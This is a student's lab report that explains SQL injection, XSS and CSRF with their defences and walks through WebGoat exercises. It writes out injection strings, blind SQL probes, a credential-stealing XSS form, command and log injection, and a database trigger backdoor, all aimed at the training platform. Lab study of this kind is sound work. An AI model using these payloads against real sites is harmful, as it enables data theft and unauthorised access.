2017-2018-2 『网络对抗技术』Exp9:Web安全基础
————————CONTENTS————————
- 一.基础问题回答
- 二.实践过程记录
- 三.实践总结及体会
- 附:参考资料
一.基础问题回答
1.SQL注入攻击原理,如何防御?
所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
sql注入攻击是利用是指利用设计上的漏洞,在目标服务器上运行Sql语句以及进行其他方式的攻击,动态生成Sql语句时没有对用户输入的数据进行验证是Sql注入攻击得逞的主要原因。
比如登录过程,SQL语句一般为:"select id from users where username = '"+username +"' and password = '" + password +"'"
,这里的username
和password
都是我们存取从web表单获得的数据。如果我们在表单中username
的输入框中输入' or 1=1--
。此时我们所要执行的sql语句就变成了select id from users where username = '' or 1=1-- and password = ''
。因为1=1是true,后面 and password = ''
被注释掉了。所以这里完全跳过了sql验证。
以上是最经典的一种情况。但在本次实验中,还涉及到了网页对输入字符长度的限制等等,需要修改相应的代码。
由此可见,对SQL注入攻击的防御,主要有:
- 关闭或删除不必要的交互式提交表单页面;
- 对漏洞注入点相关代码进行代码及SQL注入关键字的过滤,以规范代码安全性;
- 不要在服务器端放置备份的文件以免受到感染,或备份的文件含有漏洞,造成切入点。
2.XSS攻击的原理,如何防御?
攻击者利用网站漏洞(通常这些漏洞是指网站后台处理程序没有很好的对用户输入进行过滤),输入可以显示在页面上的、对其他用户造成影响的HTML代码;由于受害者浏览器对目标服务器的信任,当其访问目标服务器上被注入恶意脚本的页面后,这段恶意脚本可以顺利执行,实现获取用户cookie并可以利用用户身份进行非法操作的目的。
浏览器自身可以识别简单的XSS攻击字符串,从而阻止简单的XSS攻击;从根本上说,解决办法是消除网站的XSS漏洞,这就需要网站开发者运用转义安全字符等手段。
一个原则:不相信用户输入的任何数据!
3.CSRF攻击原理,如何防御?
CSRF 的全称是“跨站请求伪造”,而 XSS 的全称是“跨站脚本”。看起来有点相似,它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户。CSRF 顾名思义,是伪造请求,冒充用户在站内的正常操作。我们知道,绝大多数网站是通过 cookie 等方式辨识用户身份(包括使用服务器端 Session 的网站,因为 Session ID 也是大多保存在 cookie 里面的),再予以授权的。所以要伪造用户的正常操作,最好的方法是通过 XSS 或链接欺骗等途径,让用户在本机(即拥有身份 cookie 的浏览器端)发起用户所不知道的请求。
严格意义上来说,CSRF 不能分类为注入攻击,因为 CSRF 的实现途径远远不止 XSS 注入这一条。通过 XSS 来实现 CSRF 易如反掌,但对于设计不佳的网站,一条正常的链接都能造成 CSRF。
防御的方法可从以下几个角度考虑:
- 改良站内 API 的设计。对于发布帖子这一类创建资源的操作,应该只接受 POST 请求,而 GET 请求应该只浏览而不改变服务器端资源。
- 使用“请求令牌”。首先服务器端要以某种策略生成随机字符串,作为令牌(token),保存在Session里。然后在发出请求的页面,把该令牌以隐藏域一类的形式,与其他信息一并发出。在接收请求的页面,把接收到的信息中的令牌与Session中的令牌比较,只有一致的时候才处理请求,否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。
二.实践过程记录
1.General
①Http Basics
★基础知识
该课目的在于了解浏览器和Web 应用程序之间数据交互的基本知识。
HTTP 是如何工作的呢?所有的HTTP 传输都要遵循同样的通用格式(需要使用IEWatch或WebScarab 类插件协助进行学习)。每个客户端的请求和服务端的响应都有三个部分:请求或响应行、一个报头部分和实体部分。客户端以如下方式启动一个交互:
客户端连接服务器并发送一个文件请求:
GET /index.html?param=value HTTP/1.0
接下来,客户端发送可选头信息,告知接收服务器其配置和文件格式:
User-Agent: Mozilla/4.06 Accept: image/gif, image/jpeg, */*
发送请求和报头之后,客户端可以发送更多的数据。该数据主要用于使用POST方法的CGI程序。
★操作方法
Step 1:使用sudo apt-get install webscarab
命令安装WebScarab,用来修改编辑http消息等。打开webscarab。
Step 2:WebScarab有两种显示模式:Lite interface
和full-featured interface
,可在Tools菜单下进行模式切换,需要重启软件生效,修改http请求信息需要在full-featured interface
下进行。
Step 3:点击Proxy标签页->Listeners标签页
,输入url和端口号等,添加listener。
Step 4:点击Proxy标签页->Manual Edit标签页
, 选中Intercept requests
Step 5:在浏览器中(以Firefox为例),点击Open menu->Preferences->Advanced->Network选项卡
,选择右边Settings...
进行设置,增加一个localhost代理:
修改后重启Firefox生效。
Step 6:在输入框输入姓名,点击Go!
,可以在WebScarab中看到提交的http请求:
2.Code Quality
①Discover Clues in the HTML
★基础知识
众所周知,很多开发者喜欢在源代码中保存FIXME's、Code Broken、Hack 等语句。通过审查源代码中的相关注释往往能找到密码、后门及一些潜在的问题。
浏览器工具菜单中“view source”功能可以查看网页HTML 源代码。
★操作方法
在当前页面按F12,选择“Inspect...”。搜索FIXME
可看到有关用户名和密码的记录:
admin/adminpw
就是我们需要的登录名和密码。
3.Cross-Site Scripting(XSS)
①Phishing with XSS
★基础知识
在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。
总体目标是,创建一个form,要求填写用户名和密码。
★操作方法
Step 1:一个带用户名和密码输入框的表格如下所示:
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
</form><br><br><HR>
搜索这段代码,可以看到页面中增加了一个表单:
Step 2:还需要一段脚本:
<script>
function hack()
{ alert("Had this been a real attack... Your credentials were just stolen." User Name = " +
document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new
Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+
document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
这段代码会读取在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat。
Step 3:最后,就是要将这两段代码合并。最终需要输入的代码如下:
<script>
function hack()
{ alert("Had this been a real attack... Your credentials were just stolen." User Name = " +
document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new
Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+
document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
<form><br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
<input type="submit" name="login" value="login"
onclick="hack()"></form><br><br><HR>
搜索这段代码,出现用户名和密码的填写界面:
填写并登录,WebGoat会反馈输入的信息:
②Stored XSS Attacks
★基础知识
输入验证是一个很好的方法,尤其是验证那些以后将用做参数的操作系统命令、脚本和数据库查询的输入。尤为重要的是,这些内容将会永久的存放在那里。应当禁止用户创建消息内容。用户的信息被检索时,可能导致其他用户加载一个不良的网页或不良的内容。当一个未经验证的用户的输入作为一个HTTP 响应时,XSS 攻击也可能会发生。在一个反射式XSS 攻击中,攻击者会利用攻击脚本精心制作一个URL 并通过将其发送到其他网站、电子邮件、或其他方式骗取受害者点击它。
在这个练习中,我们尝试执行存储型跨站脚本攻击。
★操作方法
在Message中构造语句<script>alert("20155303 attack succeed!");</script>
,Title任意。提交后可发现刚创建的帖子test5303:
4.Injection Flaws
①Command Injection
★基础知识
命令注入攻击对任何一个以参数驱动的站点来说都是一个严重威胁。这种攻击技术背后的技术方法,简单易学,能造成大范围的损害,危及系统安全。尽管这类风险数目令人难以置信,互联网中的系统很容易受到这种形式的攻击。
这种攻击容易扩散,造成更坏的影响。但是对于这类威胁,一点常识和预先预防几乎可以完全阻止。
★操作方法
Step 1:按F12进入调试界面,选择Inspect...
对源代码进行修改。
Step 2:例如在BackDoors.help
后面加上"& netstat -an & ipconfig"
Step 3:点击View
,可看到命令的输出结果:
②Numberic SQL Injection
★基础知识
在station 字段中注入特征字符,能组合成新的SQL 语句。
SELECT * FROM weather_data WHERE station = [station]
这道题的表单允许用户查看天气数据。需通过注入SQL字符串的方式查看所有的天气数据。
★操作方法
Step 1:按F12进入调试界面,选择Inspect...
对源代码进行修改。
Step 2:在选项列表中,任意选择一个值,比如“101”,后面加上or 1=1
。
Step 3:输出如下所示:
③Log Spoofing
★基础知识
这种攻击是在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹。
★操作方法
灰色区域代表在Web 服务器的日志中的记录的内容。目的是使用户名为“admin”的用户在日志中显示“成功登录”。
Step 1:在文本框中输入用户名:smith Login Succeeded for username admin
,这样用户名后面的信息会在同一行显示,而不是在新的一行。
Step 2:可以往该应用中注入回车(0D%)和换行符(%0A)。在username 中填入Smith%0d%0aLogin Succeeded for username: admin
,以达到修改日志的目的:
Step 3:攻击者可以利用这种方式向日志文件中添加恶意脚本,脚本的返回信息管理员能够通过浏览器看到。比如,将admin <script>alert(document.cookie)</script>
作为用户名输入。
④XPATH Spoofing
★基础知识
与SQL注入类似,XPATH注入发生在当网站使用用户提供的信息查询XML 数据时。通过向网站故意发送异常信息,攻击者可以发现XML数据的结构或访问那些本来无法访问到的数据。如果该XML是一个用户认证文件(例如一个基于XML 的用户文件),攻击者还能借此提升自己在网站中的特权。使用XPATH查询XML,通过一个简单的描述性语句类型,允许XML查询,找到一条信息。像SQL一样,可以指定找到的某些属性与模式匹配。
当一个网站中使用XML,它是普遍接受某种形式的输入,查询字符串,找到并将标识的内容显示在页面上。此类输入必须进行清洗,以验证它不会影响XPATH 的查询,并返回错误数据。
★操作方法
本题目的表单允许员工看到自己的所有个人资料,包括他们的薪酬。
XPATH 注入类似于SQL 注入。通过未验证的输入创建一个XPATH 查询。以下代码展示了如何构建一个XPATH 查询:
String dir = s.getContext().getRealPath("/lessons/XPATHInjection/EmployeesData.xml");
File d = new File(dir);
XPathFactory factory = XPathFactory.newInstance();
XPath xPath = factory.newXPath();
InputSource inputSource = new InputSource(new FileInputStream(d));
String expression = "/employees/employee[loginID/text()='" + username + "' and passwd/text()='" +
password + "']";
nodes = (NodeList) xPath.evaluate(expression, inputSource, XPathConstants.NODESET);
在用户名处注入Smith' or 1=1 or 'a'='a
,这将会显示登录系统的第一个用户。密码是必须的字段,可以任意输入。
以下是服务器获取的:
expression = "/employees/employee[loginID/text()='Smith' or 1=1 or 'a'='a' and passwd/text()='password']"
服务器解析后:
expression = "/employees/employee[ ( loginID/text()='Smith' or 1=1 ) OR ( 'a'='a' and passwd/text()='password' ) ]"
输入后点“登录”可看到其他人的信息:
⑤LAB:SQL Injection
★操作方法
Step 1:以用户Neville登录,在密码栏中输入' or 1=1 --
进行SQL注入,登录失败。
Step 2:查看网页源代码,发现对输入长度进行了限制。改为100,再进行注入,成功:
⑥String SQL Injection
★基础知识
基于以下查询语句构造自己的SQL 注入字符串。SELECT * FROM user_data WHERE last_name = '?'
★操作方法
本题的表格,允许用户查看他们的信用卡号码。尝试通过SQL 注入将所有信用卡信息显示出来。尝试的用户名是“Smith”。
输入以下代码即可完成:
’ or 1=1 --
// 或者
Smith' or 1=1 --
如下图所示:
⑦Database Backdoors
★基础知识
数据库通常作为一个Web 应用程序的后端来使用。此外,它也用来作为存储的媒介。它也可以被用来作为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另一个数据库操作,如insert, select, update or delete。
举个例子:攻击者可以创建一个触发器,该触发器在创建新用户时,将每个新用户的Email 地址设置为攻击者的地址。
★操作方法
Step 1:输入101,得到该用户的信息:
可以发现,输入的语句没有验证,很容易进行 SQL 注入。
Step 2:若要执行两个语句,中间需要用分号分隔。输入注入语句101; update employee set salary=10000
。
Step 3:若设置触发器,可使用以下查询条件:
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com' WHERE userid = NEW.userid
由于WebGoat 使用的是MySQL数据库,不支持触发器,因此以上并不能在这里真正实现。
⑧Blind Numberic SQL Injection
★基础知识
某些SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语句。
★操作方法
Step 1:,服务端页面返回的信息只有两种:帐号有效或无效。因此无法简单地查询到帐号的PIN 数值。尽管如此,我们可以利用系统后台在用的查询语句。查询语句如下:
SELECT * FROM user_data WHERE userid=accountNumber;
如果该查询语句返回了帐号的信息,页面将提示帐号有效,否则提示无效。
Step 2:使用AND函数,我们可以添加一些额外的查询条件。如果该查询条件同样为真,则返回结果应提示帐号有效,否则无效。例如下面两个查询方式:
101 AND 1=1
101 AND 1=2
在第一条语句中,两个条件都成立,所以页面返回帐号有效。而第二条则返回帐号无效。
Step 3:
现在可以针对查询语句的后半部分构造复杂语句。下面的语句可以告诉我们 PIN 数值是否大于10000:
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
如果页面提示帐号有效,说明PIN>10000 否则 PIN<=10000。
Step 4:
不断调整数值,可以缩小判断范围,并最终判断出PIN 数值的大小。最终如下语句返回帐号有效:
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 );
Step 5:在查询框中输入2364 并提交:
⑨Blind String SQL Injection
★操作方法
目标是找到 pins 表中cc_number 字段值为4321432143214321的记录中pin字段的数值。pin字段类型为varchar。输入找到的数值(最终的字符串,注意拼写和大写)并提交。
本节课程非常类似与上一节。最大的不同是要查询的字段是一个字符串而不是数值。因此我们同样可以通过注入的方式查找到该字段的值。查询语句非常类似上一节,如下:
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'H' );
该语句使用了SUBSTRING 方法,取得pin 字段数值的第一个字母,并判断其是否比字母“H”小。SUBSTRING 语法如下:
SUBSTRING(STRING,START,LENGTH)
经过多次测试(比较0-9A-Za-z 等字符串)和页面的返回数据,判断出第一个字符为“J”。同理继续判断第二个字符。
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) < 'h' );
最终,判断出pin字段的值为:Jill。提交改值:
三.实践总结及体会
本次实验在Webgoat平台上进行,不需要过于复杂的环境配置过程,每一个小实验测试的知识点也都非常明了。比如Injection Flaws
中有很多关于注入的小实验,不同的实验侧重不同的考察点。不管是命令注入、日志欺骗,还是数据库后门,都让我在实践中对理论有了更加深刻地理解。除此之外,在实践的过程中,我参考了WebGoat官方的使用手册,其中对于每一个小实验的原理都介绍得非常清楚。在官方手册的指导下顺利完成了本次实验。
九次实验到此就算圆满结束啦,撒花ᖗ( ᐛ )ᖘ
这学期延续了之前“自学+实践+博客总结”的模式,有了前一年的基础和养成的习惯,这学期因此能较快适应。总的来说收获很大,虽然只是些网络攻防的入门实践,但涉及到的方面非常广,让我们了解到了各个领域可能存在的攻击。“师傅领进门,修行靠个人”吧,这门课程短暂的一学期学习时间不可能对所有的最新攻击面面俱到,能掌握方法才是最重要的。
是结束也是开始,预祝同学们在这门课程中都取得满意的成绩୧( "̮ )୨✧ᐦ